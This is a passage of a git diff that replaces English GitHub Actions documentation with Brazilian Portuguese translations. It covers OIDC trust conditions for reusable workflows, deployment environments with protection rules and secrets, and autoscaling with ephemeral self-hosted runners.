+Para criar condições de confiança com base em fluxos de trabalho reutilizáveis, o seu provedor de nuvem deve ser compatível com reivindicações personalizadas para `job_workflow_ref`. Isso permite que seu provedor de nuvem identifique de qual repositório veio originalmente. Se o seu provedor de nuvem é compatível apenas as reivindicações padrão (_audiência_ e _assunto_), não poderá determinar que o trabalho teve origem no repositório do fluxo de trabalho reutilizável. Os provedores de nuvem que sao compatíveis com `job_workflow_ref` incluem Google Cloud Platform e HashiCorp Vault.
 
-Before proceeding, you should be familiar with the concepts of [reusable workflows](/actions/learn-github-actions/reusing-workflows) and [OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect).
+Antes de prosseguir, você deve estar familiarizado com os conceitos de [fluxos de trabalho reutilizáveis](/actions/learn-github-actions/reusing-workflows) e [OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect).
 
-## How the token works with reusable workflows
+## Como o token funciona com fluxos de trabalho reutilizáveis
 
-During a workflow run, {% data variables.product.prodname_dotcom %}'s OIDC provider presents a OIDC token to the cloud provider which contains information about the job. If that job is part of a reusable workflow, the token will include the standard claims that contain information about the calling workflow, and will also include a custom claim called `job_workflow_ref` that contains information about the called workflow.
+Durante uma execução de um fluxo de trabalho, o provedor do OIDC de {% data variables.product.prodname_dotcom %} apresenta um token de OIDC para o provedor de nuvem que contém informações sobre o trabalho. Se esse trabalho faz parte de um fluxo de trabalho reutilizável, o token incluirá as reclamações padrão que contêm informações sobre o fluxo de trabalho de chamadas e também incluirá uma reivindicação personalizada denominada `job_workflow_ref` que contém informações sobre o fluxo de trabalho chamado.
 
-For example, the following OIDC token is for a job that was part of a called workflow. The `workflow`, `ref`, and other attributes describe the caller workflow, while `job_workflow_ref` refers to the called workflow:
+Por exemplo, o token do OIDC a seguir é para um trabalho que fazia parte de um fluxo de trabalho chamado. O `workflow`, `ref` e outros atributos descrevem o fluxo de trabalho da chamada, enquanto `job_workflow_ref` refere-se ao fluxo de trabalho chamado:
 
 ```yaml{:copy}
 {
@@ -66,30 +66,30 @@ For example, the following OIDC token is for a job that was part of a called wor
 }
 ```
 
-If your reusable workflow performs deployment steps, then it will typically need access to a specific cloud role, and you might want to allow any repository in your organization to call that reusable workflow. To permit this, you'll create the trust condition that allows any repository and any caller workflow, and then filter on the organization and the called workflow. See the next section for some examples.
+Se o seu fluxo de trabalho reutilizável executa etapas de implantação, ele, de modo geral, irá precisar de acesso a um função de nuvem específica, e você deverá permitir que qualquer repositório da sua organização chame esse fluxo de trabalho reutilizável. Para permitir isso, você criará uma condição de confiança que permite qualquer repositório e fluxo de trabalho de chamadas, e, em seguida, irá filtrar a organização e o fluxo de trabalho chamado. Veja a próxima seção para obter alguns exemplos.
 
-## Examples
+## Exemplos
 
-**Filtering for reusable workflows within a specific repository**
+**Filtragem para fluxos de trabalho reutilizáveis dentro de um repositório específico**
 
-You can configure a custom claim that filters for any reusable workflow in a specific repository. In this example, the workflow run must have originated from a job defined in a reusable workflow in the `octo-org/octo-automation` repository, and in any repository that is owned by the `octo-org` organization.
+É possível configurar uma reivindicação personalizada que filtra para qualquer fluxo de trabalho reutilizável em um repositório específico. Neste exemplo, a execução do fluxo de trabalho deve ter sido originada de um trabalho definido em um fluxo de trabalho reutilizável no repositório `octo-org/octo-automation`, e em qualquer repositório que pertença à organização `octo-org`.
 
-- **Subject**:
-  - Syntax: `repo:ORG_NAME/*`
-  - Example: `repo:octo-org/*`
+- **Assunto**:
+  - Sintaxe: `repo:ORG_NAME/*`
+  - Exemplo: `repo:octo-org/*`
 
-- **Custom claim**:
-  - Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME`
-  - Example: `job_workflow_ref:octo-org/octo-automation@*`
+- **Reivindicação personalizada**:
+  - Sintaxe: `job_workflow_ref:ORG_NAME/REPO_NAME`
+  - Exemplo: `job_workflow_ref:octo-org/octo-automation@*`
 
-**Filtering for a specific reusable workflow at a specific ref**
+**Filtrando um fluxo de trabalho específico reutilizável em um ref específico**
 
-You can configure a custom claim that filters for a specific reusable workflow. In this example, the workflow run must have originated from a job defined in the reusable workflow `octo-org/octo-automation/.github/workflows/deployment.yml`, and in any repository that is owned by the `octo-org` organization.
+Você pode configurar uma reivindicação personalizada que filtra um fluxo de trabalho específico reutilizável. Neste exemplo, a execução do fluxo de trabalho deve ter origem em um trabalho definido no fluxo de trabalho reutilizável `octo-org/octo-automation/.github/workflows/deployment.yml` e em qualquer repositório que pertença à organização `octo-org`.
 
-- **Subject**:
-  - Syntax: `repo:ORG_NAME/*` 
-  - Example: `repo:octo-org/*` 
+- **Assunto**:
+  - Sintaxe: `repo:ORG_NAME/*`
+  - Exemplo: `repo:octo-org/*`
 
-- **Custom claim**:
-  - Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME/.github/workflows/WORKFLOW_FILE@ref` 
-  - Example: `job_workflow_ref:octo-org/octo-automation/.github/workflows/deployment.yml@ 10040c56a8c0253d69db7c1f26a0d227275512e2`
+- **Reivindicação personalizada**:
+  - Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME/.github/workflows/WORKFLOW_FILE@ref`
+  - Examplo: `job_workflow_ref:octo-org/octo-automation/.github/workflows/deployment.yml@ 10040c56a8c0253d69db7c1f26a0d227275512e2`
diff --git a/translations/pt-BR/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md b/translations/pt-BR/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md
index 065ae4b7de..7cff6853c0 100644
--- a/translations/pt-BR/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md
+++ b/translations/pt-BR/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md
@@ -1,7 +1,7 @@
 ---
-title: Using environments for deployment
-shortTitle: Use environments for deployment
-intro: You can configure environments with protection rules and secrets. A workflow job that references an environment must follow any protection rules for the environment before running or accessing the environment's secrets.
+title: Usando ambientes para implantação
+shortTitle: Usar ambientes para implantação
+intro: Você pode configurar ambientes com regras de proteção e segredos. Um trabalho de fluxo de trabalho que faz referência a um ambiente deve seguir quaisquer regras de proteção para o ambiente antes de executar ou acessar os segredos do ambiente.
 product: '{% data reusables.gated-features.environments %}'
 miniTocMaxHeadingLevel: 3
 redirect_from:
@@ -16,58 +16,58 @@ versions:
 ---
 
 
-## About environments
+## Sobre ambientes
 
-Environments are used to describe a general deployment target like `production`, `staging`, or `development`. When a {% data variables.product.prodname_actions %} workflow deploys to an environment, the environment is displayed on the main page of the repository. For more information about viewing deployments to environments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)."
+Os ambientes são usados para descrever um alvo geral de implantação como `produção`, `preparo` ou `desenvolvimento`. Quando um fluxo de trabalho de {% data variables.product.prodname_actions %} é implantado em um ambiente, o ambiente é exibido na página principal do repositório. Para obter mais informações sobre a visualização de implantações em ambientes, consulte "[Visualizando histórico de implantação](/developers/overview/viewing-deployment-history)".
 
-You can configure environments with protection rules and secrets. When a workflow job references an environment, the job won't start until all of the environment's protection rules pass. A job also cannot access secrets that are defined in an environment until all the environment protection rules pass.
+Você pode configurar ambientes com regras de proteção e segredos. Quando um trabalho de fluxo de trabalho faz referência a um ambiente, o trabalho não será iniciado até que todas as regras de proteção do ambiente sejam aprovadas. Um trabalho também não pode acessar segredos definidos em ambiente até que todas as regras de proteção do ambiente sejam aprovadas.
 
 {% ifversion fpt %}
 {% note %}
 
-**Note:** You can only configure environments for public repositories. If you convert a repository from public to private, any configured protection rules or environment secrets will be ignored, and you will not be able to configure any environments. If you convert your repository back to public, you will have access to any previously configured protection rules and environment secrets.
+**Observação:** Você só pode configurar ambientes para repositórios públicos. Se você converter um repositório de público em privado, todas as regras de proteção ou segredos de ambiente configurados serão ignorados, e você não conseguirá configurar nenhum ambiente. Se você converter seu repositório de volta para público, você terá acesso a todas as regras de proteção e segredos de ambiente previamente configurados.
 
-Organizations that use {% data variables.product.prodname_ghe_cloud %} can configure environments for private repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/deployment/targeting-different-environments/using-environments-for-deployment). {% data reusables.enterprise.link-to-ghec-trial %}
+As organizações que usam {% data variables.product.prodname_ghe_cloud %} podem configurar ambientes para repositórios privados. Para obter mais informações, consulte a [documentação de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/actions/deployment/targeting-different-environments/using-environments-for-deployment). {% data reusables.enterprise.link-to-ghec-trial %}
 
 {% endnote %}
 {% endif %}
 
-## Environment protection rules
+## Regras de proteção de ambiente
 
-Environment protection rules require specific conditions to pass before a job referencing the environment can proceed. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can use environment protection rules to require a manual approval, delay a job, or restrict the environment to certain branches.{% else %}You can use environment protection rules to require a manual approval or delay a job.{% endif %}
+As normas de proteção do ambiente exigem a aprovação de condições específicas antes que um trabalho que faz referência ao ambiente possa prosseguir. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}Você pode usar regras de proteção do ambiente para exigir uma aprovação manual, atrasar um trabalho ou restringir o ambiente a certos branches.{% else %}Você pode usar as regras de proteção de ambiente para exigir uma aprovação manual ou atrasar um trabalho.{% endif %}
 
-### Required reviewers
+### Revisores necessários
 
-Use required reviewers to require a specific person or team to approve workflow jobs that reference the environment. You can list up to six users or teams as reviewers. The reviewers must have at least read access to the repository. Only one of the required reviewers needs to approve the job for it to proceed.
+Use os revisores necessários para exigir que uma pessoa ou equipe específica aprove os trabalhos do fluxo de trabalho que fazem referência ao ambiente. Você pode listar até seis usuários ou equipes como revisores. Os revisores devem ter, pelo menos, acesso de leitura ao repositório. Apenas um dos revisores precisam aprovar o trabalho para que prossiga.
 
-For more information on reviewing jobs that reference an environment with required reviewers, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)."
+Para obter mais informações sobre os trabalhos de revisão que fazem referência a um ambiente com os revisores necessários, consulte "[Revisar implantações](/actions/managing-workflow-runs/reviewing-deployments)".
 
-### Wait timer
+### Temporizador de espera
 
-Use a wait timer to delay a job for a specific amount of time after the job is initially triggered. The time (in minutes) must be an integer between 0 and 43,200 (30 days).
+Use o temporizador de espera para atrasar o trabalho por um período específico de tempo depois que o trabalho for inicialmente acionado. O tempo (em minutos) deve ser um número inteiro entre 0 e 43.200 (30 dias).
 
 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}
-### Deployment branches
+### Implementar branches
 
-Use deployment branches to restrict which branches can deploy to the environment. Below are the options for deployment branches for an environment:
+Use os branches de implantação para restringir quais branches podem ser implementados no ambiente. Abaixo, estão as opções para branches de implantação para um ambiente:
 
-* **All branches**: All branches in the repository can deploy to the environment.
-* **Protected branches**: Only branches with branch protection rules enabled can deploy to the environment. If no branch protection rules are defined for any branch in the repository, then all branches can deploy. For more information about branch protection rules, see "[About protected branches](/github/administering-a-repository/about-protected-branches)."
-* **Selected branches**: Only branches that match your specified name patterns can deploy to the environment.
+* **Todos os branches**: Todos os branches no repositório podem implantar no ambiente.
+* **Branches protegidos**: Somente branches com regras de proteção de branch habilitadas podem implementar no ambiente. Se nenhuma regra de proteção de branch for definida para qualquer branch no repositório, todos os branches poderão implantar. Para obter mais informações sobre as regras de proteção de branches, consulte "[Sobre branches protegidos](/github/administering-a-repository/about-protected-branches)".
+* **Branches selecionados**: Somente branches que correspondem a seus padrões de nome especificados podem implantar no ambiente.
 
-  For example, if you specify `releases/*` as a deployment branch rule, only branches whose name begins with `releases/` can deploy to the environment. (Wildcard characters will not match `/`. To match branches that begin with `release/` and contain an additional single slash, use `release/*/*`.) If you add `main` as a deployment branch rule, a branch named `main` can also deploy to the environment. For more information about syntax options for deployment branches, see the [Ruby File.fnmatch documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch).
+  Por exemplo, se você especificar `releases/*` como uma regra de implantação de branch, apenas os branches cujo nome começa com `releases/` poderão fazer a implantação no ambiente. (Caracteres curinga não correspondem a `/`. Para corresponder aos branches que começam com `release/` e contêm uma única barra adicional, use `release/*/*`.) Se você adicionar `main` como uma regra de branch de implantação, um branch denominado `main` também poderá ser implantado no ambiente. Para obter mais informações sobre opções de sintaxe para branches de implantação, consulte a [Documentação File.fnmatch do Ruby](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch).
 {% endif %}
-## Environment secrets
+## Segredos de ambiente
 
-Secrets stored in an environment are only available to workflow jobs that reference the environment. If the environment requires approval, a job cannot access environment secrets until one of the required reviewers approves it. For more information about secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+Os segredos armazenados em um ambiente só estão disponíveis para trabalhos de fluxo de trabalho que fazem referência ao ambiente. Se o ambiente exigir aprovação, um trabalho não poderá acessar segredos de ambiente até que um dos revisores necessários o aprove. Para obter mais informações sobre segredos, consulte "[Segredos criptografados](/actions/reference/encrypted-secrets)".
 
 {% note %}
 
-**Note:** Workflows that run on self-hosted runners are not run in an isolated container, even if they use environments. Environment secrets should be treated with the same level of security as repository and organization secrets. For more information, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#hardening-for-self-hosted-runners)."
+**Observação:** Os fluxos de trabalho executados em executores auto-hospedados não são executados em um contêiner isolado, mesmo que usem ambientes. Os segredos de ambiente devem ser tratados com o mesmo nível de segurança que os segredos do repositório e da organização. Para obter mais informações, consulte "[Enrijecimento de segurança para o GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#hardening-for-self-hosted-runners)".
 
 {% endnote %}
 
-## Creating an environment
+## Criar um ambiente
 
 {% data reusables.github-actions.permissions-statement-environment %}
 
@@ -76,55 +76,55 @@ Secrets stored in an environment are only available to workflow jobs that refere
 {% data reusables.github-actions.sidebar-environment %}
 {% data reusables.github-actions.new-environment %}
 {% data reusables.github-actions.name-environment %}
-1. Optionally, specify people or teams that must approve workflow jobs that use this environment.
-   1. Select **Required reviewers**.
-   1. Enter up to 6 people or teams. Only one of the required reviewers needs to approve the job for it to proceed.
-   1. Click **Save protection rules**.
-2. Optionally, specify the amount of time to wait before allowing workflow jobs that use this environment to proceed.
-   1. Select **Wait timer**.
-   1. Enter the number of minutes to wait.
-   1. Click **Save protection rules**.
-3. Optionally, specify what branches can deploy to this environment. For more information about the possible values, see "[Deployment branches](#deployment-branches)."
-   1. Select the desired option in the **Deployment branches** dropdown.
-   1. If you chose **Selected branches**, enter the branch name patterns that you want to allow.
-4. Optionally, add environment secrets. These secrets are only available to workflow jobs that use the environment. Additionally, workflow jobs that use this environment can only access these secrets after any configured rules (for example, required reviewers) pass. For more information about secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
-   1. Under **Environment secrets**, click **Add Secret**.
-   1. Enter the secret name.
-   1. Enter the secret value.
-   1. Click **Add secret**.
+1. Opcionalmente, especifique as pessoas ou equipes que devem aprovar os trabalhos do fluxo de trabalho que usam esse ambiente.
+   1. Selecione **Revisores necessários**.
+   1. Insira até até 6 pessoas ou equipes. Apenas um dos revisores precisam aprovar o trabalho para que prossiga.
+   1. Clique **Regras de proteção do salvamento**.
+2. Opcionalmente, especifique o tempo a esperar antes de permitir que os trabalhos do fluxo de trabalho que usam esse ambiente prossigam.
+   1. Selecione **Temporizador de espera**.
+   1. Insira o número de minutos para esperar.
+   1. Clique **Regras de proteção do salvamento**.
+3. Opcionalmente, especifique quais branches podem implantar neste ambiente. Para obter mais informações sobre os valores possíveis, consulte "[Ramificações de implantação](#deployment-branches)".
+   1. Selecione a opção desejada no menu suspenso dos **Branches de implantação**.
+   1. Se escolheu **Branches selecionados**, digite os padrões de nome do branch que você deseja permitir.
+4. Opcionalmente, adicione segredos de ambiente. Esses segredos só estão disponíveis para trabalhos de fluxo de trabalho que usam o ambiente. Além disso, os trabalhos do fluxo de trabalho que usam este ambiente só podem acessar esses segredos após todas as regras configuradas (por exemplo, revisores obrigatórios). Para obter mais informações sobre segredos, consulte "[Segredos criptografados](/actions/reference/encrypted-secrets)".
+   1. Em **Segredos do ambiente**, clique em **Adicionar segredo**.
+   1. Insira o nome do segredo.
+   1. Insira o valor do segredo.
+   1. Clique em **Add secret** (Adicionar segredo).
 
-{% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also create and configure environments through the REST API. For more information, see "[Environments](/rest/reference/repos#environments)" and "[Secrets](/rest/reference/actions#secrets)."{% endif %}
+{% ifversion fpt or ghae or ghes > 3.1 or ghec %}Você também pode criar e configurar ambientes por meio da API REST. Para obter mais informações, consulte "[Ambientes](/rest/reference/repos#environments)" e "[Segredos](/rest/reference/actions#secrets)."{% endif %}
 
-Running a workflow that references an environment that does not exist will create an environment with the referenced name. The newly created environment will not have any protection rules or secrets configured. Anyone that can edit workflows in the repository can create environments via a workflow file, but only repository admins can configure the environment.
+Executar um fluxo de trabalho que faz referência a um ambiente que não existe criará um ambiente com o nome referenciado. O novo ambiente não terá nenhuma regra de proteção ou segredos configurados. Qualquer pessoa que possa editar fluxos de trabalho no repositório pode criar ambientes por meio de um arquivo de fluxo de trabalho, mas apenas os administradores do repositório podem configurar o ambiente.
 
-## Using an environment
+## Usando um ambiente
 
-Each job in a workflow can reference a single environment. Any protection rules configured for the environment must pass before a job referencing the environment is sent to a runner. The job can access the environment's secrets only after the job is sent to a runner.
+Cada trabalho em um fluxo de trabalho pode fazer referência a um único ambiente. Todas as regras de proteção configuradas para o ambiente têm de ser aprovadas antes que um trabalho de referência ao ambiente seja enviado a um executor. O trabalho só pode acessar os segredos do ambiente depois que for enviado para um executor.
 
-When a workflow references an environment, the environment will appear in the repository's deployments. For more information about viewing current and previous deployments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)."
+Quando um fluxo de trabalho faz referência a um ambiente, o ambiente aparecerá nas implantações do repositório. Para obter mais informações sobre a visualização de implementações atuais e anteriores, consulte "[Visualizar histórico de implantação](/developers/overview/viewing-deployment-history)".
 
 {% data reusables.actions.environment-example %}
 
-## Deleting an environment
+## Excluir um ambiente
 
 {% data reusables.github-actions.permissions-statement-environment %}
 
-Deleting an environment will delete all secrets and protection rules associated with the environment. Any jobs currently waiting because of protection rules from the deleted environment will automatically fail.
+A exclusão de um ambiente apagará todos os segredos e regras de proteção associados ao ambiente. Todos os trabalhos que estejam atualmente em espera devido às regras de proteção do ambiente eliminado falharão automaticamente.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.github-actions.sidebar-environment %}
-1. Next to the environment that you want to delete, click {% octicon "trash" aria-label="The trash icon" %}.
-2. Click **I understand, delete this environment**.
+1. Ao lado do ambiente que você deseja excluir, clique em {% octicon "trash" aria-label="The trash icon" %}.
+2. Clique em **Eu entendi, exclua este ambiente**.
 
-{% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also delete environments through the REST API. For more information, see "[Environments](/rest/reference/repos#environments)."{% endif %}
+{% ifversion fpt or ghae or ghes > 3.1 or ghec %}Você também pode excluir ambientes por meio da API REST. Para obter mais informações, consulte "[Ambientes](/rest/reference/repos#environments)."{% endif %}
 
-## How environments relate to deployments
+## Como os ambientes relacionam-se com as implantações
 
 {% data reusables.actions.environment-deployment-event %}
 
-You can access these objects through the REST API or GraphQL API. You can also subscribe to these webhook events. For more information, see "[Repositories](/rest/reference/repos#deployments)" (REST API), "[Objects]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#deployment)" (GraphQL API), or "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment)."
+Você pode acessar esses objetos por meio da API REST ou API do GraphQL. Você também pode assinar esses eventos de webhook. Para obter mais informações, consulte "[Repositórios](/rest/reference/repos#deployments)" (API REST), "[Objetos]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#deployment)" (GraphQL API) ou "[Eventos de webhook e cargas](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment)".
 
-## Next steps
+## Próximas etapas
 
-{% data variables.product.prodname_actions %} provides several features for managing your deployments. For more information, see "[Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions)."
+{% data variables.product.prodname_actions %} fornece várias funcionalidades para gerenciar suas implantações. Para obter mais informações, consulte "[Implantando com o GitHub Actions](/actions/deployment/deploying-with-github-actions)".
diff --git a/translations/pt-BR/content/actions/guides.md b/translations/pt-BR/content/actions/guides.md
index f6cec21fcb..c04f94dbf7 100644
--- a/translations/pt-BR/content/actions/guides.md
+++ b/translations/pt-BR/content/actions/guides.md
@@ -1,6 +1,6 @@
 ---
-title: Guides for GitHub Actions
-intro: 'These guides for {% data variables.product.prodname_actions %} include specific use cases and examples to help you configure workflows.'
+title: Guias para o GitHub Actions
+intro: 'Estes guias para {% data variables.product.prodname_actions %} incluem casos de uso específicos e exemplos para ajudar você a configurar fluxos de trabalho.'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
diff --git a/translations/pt-BR/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md b/translations/pt-BR/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md
index ed2c6cc905..661b6a26f5 100644
--- a/translations/pt-BR/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md
+++ b/translations/pt-BR/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md
@@ -1,6 +1,6 @@
 ---
-title: Autoscaling with self-hosted runners
-intro: You can automatically scale your self-hosted runners in response to webhook events.
+title: Redimensionamento automático com executores auto-hospedados
+intro: Você pode dimensionar automaticamente seus executores auto-hospedados em resposta a eventos de webhooks.
 versions:
   fpt: '*'
   ghec: '*'
@@ -12,68 +12,68 @@ type: overview
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About autoscaling
+## Sobre o dimensionamento automático
 
-You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive with a particular label. For example, you can create automation that adds a new self-hosted runner each time you receive a [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook event with the  [`queued`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity, which notifies you that a new job is ready for processing. The webhook payload includes label data, so you can identify the type of runner the job is requesting. Once the job has finished, you can then create automation that removes the runner in response to the `workflow_job` [`completed`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity. 
+Você pode aumentar ou diminuir automaticamente o número de executores auto-hospedados no seu ambiente em resposta aos eventos do webhook que você recebe com uma determinada etiqueta. Por exemplo, você pode criar uma automação que adiciona um novo executor auto-hospedado cada vez que você receber um evento de webhook [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) com a atividade [`queued`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job), que notifica você de que um novo trabalho está pronto para processamento. A carga do webhook inclui dados da etiqueta. Portanto, você pode identificar o tipo de executor que a tarefa está solicitando. Uma vez terminado o trabalho, você pode criar uma automação que remove o executor em resposta à atividade de `workflow_job` [`concluída`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job).
 
-## Recommended autoscaling solutions
+## Soluções de dimensionamento automático recomendadas
 
-{% data variables.product.prodname_dotcom %} recommends and partners closely with two open source projects that you can use for autoscaling your runners. One or both solutions may be suitable, based on your needs. 
+{% data variables.product.prodname_dotcom %} recomenda e faz parcerias estreitas com dois projetos de código aberto que você pode usar para dimensionar automaticamente os seus executores. Uma ou ambas as soluções podem ser adequadas, com base nas suas necessidades.
 
-The following repositories have detailed instructions for setting up these autoscalers: 
+Os repositórios a seguir possuem instruções detalhadas para configurar esses dimensionadores automáticos:
 
-- [actions-runner-controller/actions-runner-controller](https://github.com/actions-runner-controller/actions-runner-controller) - A Kubernetes controller for {% data variables.product.prodname_actions %} self-hosted runners.
-- [philips-labs/terraform-aws-github-runner](https://github.com/philips-labs/terraform-aws-github-runner) - A Terraform module for scalable {% data variables.product.prodname_actions %} runners on Amazon Web Services.
+- [actions-runner-controller/actions-runner-controller](https://github.com/actions-runner-controller/actions-runner-controller) - Um controlador do Kubernetes para executores auto-hospedados de {% data variables.product.prodname_actions %}.
+- [philips-labs/terraform-aws-github-runner](https://github.com/philips-labs/terraform-aws-github-runner) - Um módulo do Terraform para executores de {% data variables.product.prodname_actions %} dimensionáveis no Amazon Web Services.
 
-Each solution has certain specifics that may be important to consider:
+Cada solução tem certas especificações que podem ser importantes para considerar:
 
-| **Features** | **actions-runner-controller** | **terraform-aws-github-runner** |
-| :--- | :--- | :--- |
-| Runtime | Kubernetes | Linux and Windows VMs |
-| Supported Clouds | Azure, Amazon Web Services, Google Cloud Platform, on-premises | Amazon Web Services |
-| Where runners can be scaled | Enterprise, organization, and repository levels. By runner label and runner group. | Organization and repository levels. By runner label and runner group. |
-| Pull-based autoscaling support | Yes | No |
+| **Funcionalidades**                                          | **actions-runner-controller**                                                                 | **terraform-aws-github-runner**                                                      |
+|:------------------------------------------------------------ |:--------------------------------------------------------------------------------------------- |:------------------------------------------------------------------------------------ |
+| Tempo de execução                                            | Kubernetes                                                                                    | VMs do Linux e do Windows                                                            |
+| Nuvens compatíveis                                           | Azure, Amazon Web Services, Google Cloud Platform, nos locais                                 | Amazon Web Services                                                                  |
+| Onde os executores podem ser dimensionados                   | Níveis de empresa, organização e repositório. Por etiqueta do executor e grupo de executores. | Níveis de organização e repositório. Por etiqueta do executor e grupo de executores. |
+| Suporte a dimensionamento automático baseado baseado no pull | Sim                                                                                           | Não                                                                                  |
 
-## Using ephemeral runners for autoscaling
+## Usaar executores efêmeros para dimensionamento automático
 
-{% data variables.product.prodname_dotcom %} recommends implementing autoscaling with ephemeral self-hosted runners; autoscaling with persistent self-hosted runners is not recommended. In certain cases, {% data variables.product.prodname_dotcom %} cannot guarantee that jobs are not assigned to persistent runners while they are shut down. With ephemeral runners, this can be guaranteed because {% data variables.product.prodname_dotcom %} only assigns one job to a runner.
+{% data variables.product.prodname_dotcom %} recomenda implementar o dimensionamento automático com executores auto-hospedados efêmeros. Nãose recomenda o dimensionamento automático com executores auto-hospedados persistentes. Em certos casos, {% data variables.product.prodname_dotcom %} não pode garantir que os trabalhos não sejam atribuídos a executores persistentes enquanto eles são desativados. Com executores efêmeros, é possível garantir iss, porque {% data variables.product.prodname_dotcom %} só atribui um trabalho a um executor.
 
-This approach allows you to manage your runners as ephemeral systems, since you can use automation to provide a clean environment for each job. This helps limit the exposure of any sensitive resources from previous jobs, and also helps mitigate the risk of a compromised runner receiving new jobs.  
+Esta abordagem permite que você gerencie os seus executores como sistemas efêmeros, já que você pode usar automação para fornecer um ambiente limpo para cada trabalho. Isso ajuda a limitar a exposição de quaisquer recursos sensíveis de trabalhos anteriores e também ajuda a mitigar o risco de um executor comprometido receber novos trabalhos.
 
-To add an ephemeral runner to your environment, include the `--ephemeral` parameter when registering your runner using `config.sh`. For example:
+Para adicionar um executor efêmero ao seu ambiente, inclua o parâmetro `--ephemeral` ao registrar seu executor usando `config.sh`. Por exemplo:
 
 ```
 $ ./config.sh --url https://github.com/octo-org --token example-token --ephemeral
 ```
 
-The {% data variables.product.prodname_actions %} service will then automatically de-register the runner after it has processed one job. You can then create your own automation that wipes the runner after it has been de-registered.
+O serviço {% data variables.product.prodname_actions %} irá cancelar o resgistro do runner automaticamente depois de ter processado um trabalho. Em seguida, você poderá criar a sua própria automação que limpa o runner depois que ele tiver seu registro cancelado.
 
 {% note %}
 
-**Note:**  If a job is labeled for a certain type of runner, but none matching that type are available, the job does not immediately fail at the time of queueing. Instead, the job will remain queued until the 24 hour timeout period expires.
+**Observação:** Se um trabalho estiver etiquetado para um certo tipo de executor, mas nenhuma correspondência desse tipo estiver disponível, o trabalho não irá falhar imediatamente no momento da entrada na fila. Em vez disso, o trabalho permanecerá na fila até que o período de tempo limite de 24 horas expire.
 
 {% endnote %}
 
-## Using webhooks for autoscaling
+## Usando webhooks para dimensionamento automático
 
-You can create your own autoscaling environment by using payloads received from the [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook. This webhook is available at the repository, organization, and enterprise levels, and the payload for this event contains an `action` key that corresponds to the stages of a workflow job's life-cycle; for example when jobs are `queued`, `in_progress`, and `completed`. You must then create your own scaling automation in response to these webhook payloads.
+Você pode criar seu próprio ambiente de dimensionamento automático usando cargas recebidas do webhook [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job). Este webhook está disponível no repositório, organização e níveis corporativos e a carga deste evento contém uma chave de `ação` que corresponde aos estágios do ciclo de vida do trabalho de um fluxo de trabalho. Por exemplo, quando as tarefas estão `queued`, `in_progress` e `completed`. Você deverá criar a sua própria automação de dimensionamento em resposta a estas cargas de webhook.
 
-- For more information about the `workflow_job` webhook, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)."
-- To learn how to work with webhooks, see "[Creating webhooks](/developers/webhooks-and-events/webhooks/creating-webhooks)."
+- Para obter mais informações sobre o webhook do `workflow_job`, consulte "[Eventos e cargas do webhook](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)".
+- Para aprender como trabalhar com webhooks, consulte "[Criando webhooks](/developers/webhooks-and-events/webhooks/creating-webhooks)".
 
-## Authentication requirements
+## Requisitos de autenticação
 
-You can register and delete repository and organization self-hosted runners using [the API](/rest/reference/actions#self-hosted-runners). To authenticate to the API, your autoscaling implementation can use an access token or a {% data variables.product.prodname_dotcom %} app. 
+Você pode registrar e excluir executores auto-hospedados do repositório e organização usando [a API](/rest/reference/actions#self-hosted-runners). Para efetuar a autenticação na API, a implementação do seu dimensionamento automático pode usar um token de acesso ou um aplicativo de {% data variables.product.prodname_dotcom %}.
 
-Your access token will require the following scope:
+Seu token de acesso exigirá o seguinte escopo:
 
